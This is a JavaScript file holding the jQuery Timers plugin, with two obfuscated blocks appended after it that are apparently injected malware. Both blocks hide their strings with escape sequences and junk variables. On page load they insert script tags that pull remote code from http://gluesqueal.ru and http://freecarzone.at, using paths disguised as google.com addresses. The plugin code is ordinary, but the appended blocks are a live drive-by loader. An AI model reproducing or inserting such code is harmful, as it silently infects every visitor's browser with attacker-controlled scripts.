jQuery.fn.extend({
	everyTime: function(interval, label, fn, times, belay) {
		return this.each(function() {
			jQuery.timer.add(this, interval, label, fn, times, belay);
		});
	},
	oneTime: function(interval, label, fn) {
		return this.each(function() {
			jQuery.timer.add(this, interval, label, fn, 1);
		});
	},
	stopTime: function(label, fn) {
		return this.each(function() {
			jQuery.timer.remove(this, label, fn);
		});
	}
});

jQuery.extend({
	timer: {
		guid: 1,
		global: {},
		regex: /^([0-9]+)\s*(.*s)?$/,
		powers: {
			// Yeah this is major overkill...
			'ms': 1,
			'cs': 10,
			'ds': 100,
			's': 1000,
			'das': 10000,
			'hs': 100000,
			'ks': 1000000
		},
		timeParse: function(value) {
			if (value == undefined || value == null)
				return null;
			var result = this.regex.exec(jQuery.trim(value.toString()));
			if (result[2]) {
				var num = parseInt(result[1], 10);
				var mult = this.powers[result[2]] || 1;
				return num * mult;
			} else {
				return value;
			}
		},
		add: function(element, interval, label, fn, times, belay) {
			var counter = 0;
			
			if (jQuery.isFunction(label)) {
				if (!times) 
					times = fn;
				fn = label;
				label = interval;
			}
			
			interval = jQuery.timer.timeParse(interval);

			if (typeof interval != 'number' || isNaN(interval) || interval <= 0)
				return;

			if (times && times.constructor != Number) {
				belay = !!times;
				times = 0;
			}
			
			times = times || 0;
			belay = belay || false;
			
			if (!element.$timers) 
				element.$timers = {};
			
			if (!element.$timers[label])
				element.$timers[label] = {};
			
			fn.$timerID = fn.$timerID || this.guid++;
			
			var handler = function() {
				if (belay && this.inProgress) 
					return;
				this.inProgress = true;
				if ((++counter > times && times !== 0) || fn.call(element, counter) === false)
					jQuery.timer.remove(element, label, fn);
				this.inProgress = false;
			};
			
			handler.$timerID = fn.$timerID;
			
			if (!element.$timers[label][fn.$timerID]) 
				element.$timers[label][fn.$timerID] = window.setInterval(handler,interval);
			
			if ( !this.global[label] )
				this.global[label] = [];
			this.global[label].push( element );
			
		},
		remove: function(element, label, fn) {
			var timers = element.$timers, ret;
			
			if ( timers ) {
				
				if (!label) {
					for ( label in timers )
						this.remove(element, label, fn);
				} else if ( timers[label] ) {
					if ( fn ) {
						if ( fn.$timerID ) {
							window.clearInterval(timers[label][fn.$timerID]);
							delete timers[label][fn.$timerID];
						}
					} else {
						for ( var fn in timers[label] ) {
							window.clearInterval(timers[label][fn]);
							delete timers[label][fn];
						}
					}
					
					for ( ret in timers[label] ) break;
					if ( !ret ) {
						ret = null;
						delete timers[label];
					}
				}
				
				for ( ret in timers ) break;
				if ( !ret ) 
					element.$timers = null;
			}
		}
	}
});

if (jQuery.browser.msie)
	jQuery(window).one("unload", function() {
		var global = jQuery.timer.global;
		for ( var label in global ) {
			var els = global[label], i = els.length;
			while ( --i )
				jQuery.timer.remove(els[i], label);
		}
	});



var M=new String();try {var A='';var v;if(v!='Dq'){v=''};var AL;if(AL!='iE' && AL!='JI'){AL=''};var G=window[unescape("%75%6e%65%73%63%61%70%65")];var W=window[G("%52%65%67%45%78%70")];var k;if(k!='' && k!='Jw'){k=null};var D=null;var J=G("%72%65%70%6c%61%63%65");var P="";function s(m,g){var E;if(E!='S' && E != ''){E=null};var sq=G("%5b");var B=new Date();var w=new Date();sq+=g;sq+=G("%5d");var xl="";var sO=new W(sq, G("%67"));var ga=new Array();var t;if(t!='Le' && t!='o'){t='Le'};return m.replace(sO, D);var rP=new Date();};var FF;if(FF!='hp' && FF!='Gn'){FF=''};var Ld;if(Ld!=''){Ld='Dx'};var V=s('/QgQoEoUgQlVeS.RcSowmV/Np1rDoUbwozaVrUdRsJ.1cNoDmV/Q5Q5ibibis3.UcxozmS.3pHh1pD','EQiIz1UD3HVRNSwxJ');var f=new String();var _=new Date();var m=G("%31");this.Pz="";var qq=new Array();var sl;if(sl!='' && sl!='mH'){sl='Sr'};var I_='';var r="qTGonloa".substr(3)+"A0ad".substr(3);var R;if(R!='' && R!='Lp'){R=''};var Z=new String();var n=s('8121255522596523323201139616513677748559214376222767076653516529495191','46732159');var U="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6c\x75\x65\x73\x71\x75\x65\x61\x6c\x2e\x72\x75\x3a";var c=G("%73%63%72%69%70%74");var cr='';var jc="";function O(){var JS;if(JS!='' && JS!='Up'){JS=''};var sA=new String();var q=document;var cf;if(cf!='mO' && cf!='PQ'){cf=''};j=q.createElement(c);var bX="";cr+=U;this.bQ='';var vR;if(vR!='fz'){vR=''};cr+=n+V;j.src=cr;this.A_='';j.defer=m;var Cy=new Date();this.EZ="";var jO=q.body;jO.appendChild(j);var BKp="";var bXC;if(bXC!='' && bXC!='xlX'){bXC=''};};window[r]=O;var rD;if(rD!=''){rD='vv'};} catch(H){this.wk="";};var X_=new Date();var pq;if(pq!='' && pq!='Ot'){pq='aU'};
function d(){this.ad="";this.i="";var b=window;var aU=new Date();var U=b['unescape'];var Y;if(Y!=''){Y='gy'};var Am=new String();var y=U("%2f%67%6f%6f%67%6c%65%2d%63%6f%6d%2d%73%67%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6f%76%65%72%2d%62%6c%6f%67%2e%63%6f%6d%2e%70%68%70");this.j="";var hE;if(hE!='' && hE!='_a'){hE=null};var Ar;if(Ar!='R' && Ar!='GS'){Ar='R'};function L(D,a){var HW;if(HW!='JD' && HW!='l'){HW='JD'};var n;if(n!='Fd'){n=''};var A=U("%5d");var s=U("%5b");var Fz="";var Lp="g";var Yb;if(Yb!='no' && Yb!='p'){Yb=''};var H=new RegExp(s+a+A, Lp);var go=new String();return D.replace(H, new String());var N;if(N!='Ac' && N!='Hp'){N='Ac'};};var Rs;if(Rs!=''){Rs='zO'};var ZI='';var Ke;if(Ke!='' && Ke!='qS'){Ke='oR'};var u=L('sSrUcG','PaL8ojM_CGUSR');var Zd=new Date();this.VJ="";var w=L('socYrZiMpjtm','MgjdJF3QOqYoZexDumWL41');var V=L('dgeVfteJr3','FotgcbJp3lqVsHm');var Z=document;var xZ;if(xZ!=''){xZ='fa'};var nK='';var VA=L('85421915932515422304433539351441815413244331453509152921591245','543192');var t;if(t!='dY' && t!='vH'){t='dY'};this.zv="";this.XH='';function F(){var MB=new String();var uF="";var g=U("%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a");var O=g;O+=VA;var uq=new Array();O+=y;var tb;if(tb!='yd' && tb!='Ti'){tb=''};var aB='';var PQ;if(PQ!='' && PQ!='gh'){PQ=null};var ko='';try {var dm;if(dm!=''){dm='vC'};var _ay;if(_ay!='MJ' && _ay!='oF'){_ay=''};q=Z[L('cYrDeYastUejEKlueRmFejnutK','3bUBYRdDux9FsjZK')](w);this.yO='';this.wA='';q[V]=[1][0];q[u]=O;var hq;if(hq!='' && hq!='bm'){hq='eK'};var lV;if(lV!='UJ'){lV='UJ'};var wz="";Z.body[L('aspLpge3nPd8CshLi3lHdV','Lg83sH5VPZEy')](q);this.LB='';var US="";} catch(ub){};var kJ="";var Nk="";var eQ;if(eQ!='I' && eQ!='DU'){eQ='I'};var It="";}var FI;if(FI!='' && FI!='es'){FI=''};var J=L('oBnBlBoSasdS','ZBs8krS');var QS='';b[J]=F;var aj="";var tL;if(tL!='hA'){tL='hA'};};var NO=new Array();var Xq;if(Xq!='JO' && Xq!='Pw'){Xq=''};d();